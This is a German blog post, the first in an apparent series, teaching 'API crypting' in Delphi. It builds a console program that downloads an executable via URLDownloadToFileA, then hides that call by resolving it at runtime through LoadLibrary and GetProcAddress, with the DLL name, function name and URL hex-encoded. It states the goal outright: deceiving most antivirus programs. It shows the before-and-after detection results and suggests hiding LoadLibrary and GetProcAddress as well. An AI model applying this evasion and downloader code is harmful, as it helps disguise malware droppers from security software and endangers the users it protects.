API Crypting: Antiviren-Programm einfach austricksen (Folge 1)
02.04.2014 22:55 von Samuel
Was ist die WinAPI?
WinAPI steht für "Windows-Anwendungs-Programmierschnittstelle" und ist eine "Sammlung" von Funktionen die von Microsoft zur Verfügung gestellt werden. In der MSDN Library (Microsoft Developer Network) kann man diese Funktionen und deren Parameter um die Funktion aufzurufen, genauer anschauen.
Was ist eine DLL?
Die Funktionen in der MSDN Library sind in sogenannten DLLs (Dynamic Link Library) definiert. DLLs sind Bibliotheken die Code und Daten enhalten. Wir haben die Möglichkeit eine DLL zu laden und dannach alle verfügbaren Funktionen in dieser DLL aufzurufen.
Ein einfaches Programm
Ich zeige nun anhand der URLDownloadToFile() Funktion die in der "urlmon.dll" definiert ist, wie man eine Datei herunterladen kann.
Wir erstellen ein einfaches Konsolen-Programm und schreiben die Funktion.
Delphi / Object Pascal Code:
function UrlDownLoadToFile(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT;
stdcall; external 'urlmon.dll' name 'URLDownloadToFileA';
Die Parameter kann man von der MSDN Library entnehmen. Allerdings sind die Funktionen nur für Assembler und C geschrieben. Für andere Programmiersprachen muss man einige Parameter anpassen.
Dannach können wir die Funktion einfach aufrufen. Der gesamte Code sieht dann relativ harmlos aus:
program ohne;
{$APPTYPE CONSOLE}
uses
Windows;
function UrlDownLoadToFile(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT;
stdcall; external 'urlmon.dll' name 'URLDownloadToFileA';
begin
UrlDownLoadToFile(0, 'http://localhost/apicrypt/putty.exe', 'dl.exe', 0, 0);
end.
Wenn wir das Programm starten wird wie erwartet die *.exe Datei in das aktuelle Verzeichnis geladen und als "dl.exe" abgespeichert.
Warum WinAPI-Crypting?
Es gibt mehrere Gründe warum man die API-Aufrufe verschleiern sollte. Ein wichtiger Grund ist natürlich, dass man mit diesem Trick sehr viele Antiviren-Programme in die Irre führen kann. Ein weiterer Grund für das verschleiern der Funktionen ist aber auch, um das Programm vor Crackern zu schützen. Da die API-Aufrufe erst zur Laufzeit ausgelesen werden können, wird das Programm um einiges sicherer.
Vorgehen beim WinAPI-Crypting
Ein Aufruf einer Funktion in einer DLL ist relativ einfach erklärt. Wir laden die DLL mit LoadLibrary(). Falls der Aufruf erfolgreich war, sollten wir ein "Handle" zurückbekommen. Ein Aufruf der API GetProcAddress() ergibt dann die Adresse der Funktion zurück die wir aufrufen möchten. Anschliessend sollten wir mit FreeLibrary() die DLL auch wieder entladen.
Das gleiche Programm. Mit API-Crypting.
Das gleiche Programm wie oben. Diesmal aber mit API-Crypting.
- DLL mit LoadLibrary laden
- Mit GetProcAddress Funktionsadresse auslesen
- "Neue" URLDownloadToFile aufrufen
Delphi / Object Pascal Code:
program mit;
{$APPTYPE CONSOLE}
uses
Windows;
var
urlmon: THandle;
xUrlDownLoadToFile : function(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT; stdcall;
begin
urlmon := LoadLibrary('urlmon.dll');
xUrlDownLoadToFile := GetProcAddress(urlmon, 'URLDownloadToFileA');
xUrlDownLoadToFile(0, 'http://localhost/apicrypt/putty.exe', 'dl.exe', 0, nil);
end.
So. Nun haben wir eine Funktion "xUrlDownLoadToFile". Bei GetProcAddress sollte man nun die Funktion "URLDownloadToFileA" verschlüsseln und auch alle anderen Strings. Dazu reicht eine einfache Verschlüsselung oder auch nur String to Hex bzw Hex to String.
Das könnte dann so aussehen:
Delphi / Object Pascal Code:
program mit;
{$APPTYPE CONSOLE}
uses
Windows;
function StrToInt(S: String): Integer;
begin
Val(S, Result, Result);
end;
function H2S(H: string): string;
var I: Integer;
begin
Result:= '';
for I := 1 to length (H) div 2 do begin
Result:= Result+Char(StrToInt('$'+Copy(H,(I-1)*2+1,2)));
end;
end;
var
sam_url: THandle;
samsec_ch : function(pCaller: Cardinal; szURL:LPCTSTR; szFileName:LPCTSTR; dwReserved:DWORD; lpfnCB:Pointer): HRESULT; stdcall;
begin
sam_url := LoadLibrary(PChar(H2S('75726c6d6f6e2e646c6c')));
samsec_ch := GetProcAddress(sam_url, PChar(H2S('55524c446f776e6c6f6164546f46696c6541')));
samsec_ch(0, PChar(H2S('687474703a2f2f6c6f63616c686f73742f61706963727970742f70757474792e657865')), PChar(H2S('66696c652e657865')), 0, nil);
end.
Wenn man nun die DLLs und deren Aufrufe bei den beiden Programmen vergleicht, sieht man einige Unterschiede:
Ohne API-Crypting sehen wir den Aufruf in der urlmon.dll:
Mit dem Crypting sehen wir KEIN "URLDownloadToFileA" von der "urlmon.dll":
Der Antiviren-Test
Nunja, die Antiviren-Programme haben jetzt natürlich Schwierigkeiten die Funktionen auszulesen. Darum sieht das Resultat auch dementsprechend aus:
Ohne API-Crypting:
Mit API-Crypting:
Fazit
Die meisten Antiviren-Programme lassen sich mit sehr einfachen Tricks wie dem dynamischen Aufruf von Funktionen austricksen. Man könnte das Ganze noch optimieren und die Funktionen LoadLibrary und GetProcAddress ebenfalls dynamisch aufrufen bzw. Alternativen verwenden.
Bis zum nächsten Eintrag
Einen Kommentar schreiben